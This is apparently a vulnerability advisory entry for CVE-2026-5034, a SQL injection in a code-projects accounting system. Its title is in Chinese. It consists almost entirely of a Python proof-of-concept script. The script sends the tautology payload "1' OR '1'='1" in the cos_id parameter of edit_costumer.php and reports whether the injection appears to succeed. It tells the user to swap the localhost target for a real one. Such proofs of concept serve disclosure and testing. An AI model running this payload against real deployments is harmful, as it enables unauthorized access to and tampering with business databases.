CVE-2026-5034: code-projects会计系统SQL注入漏洞

import requests def check_sqli(target_url): """Function to test SQL injection vulnerability""" endpoint = target_url + "/edit_costumer.php" # Payload to trigger SQL syntax error or bypass logic payload = "1' OR '1'='1" params = { "cos_id": payload } try: response = requests.get(endpoint, params=params, timeout=5) if response.status_code == 200: print("[+] Potential SQL Injection detected.") print(f"Response: {response.text[:100]}") else: print("[-] No obvious vulnerability detected.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli(target)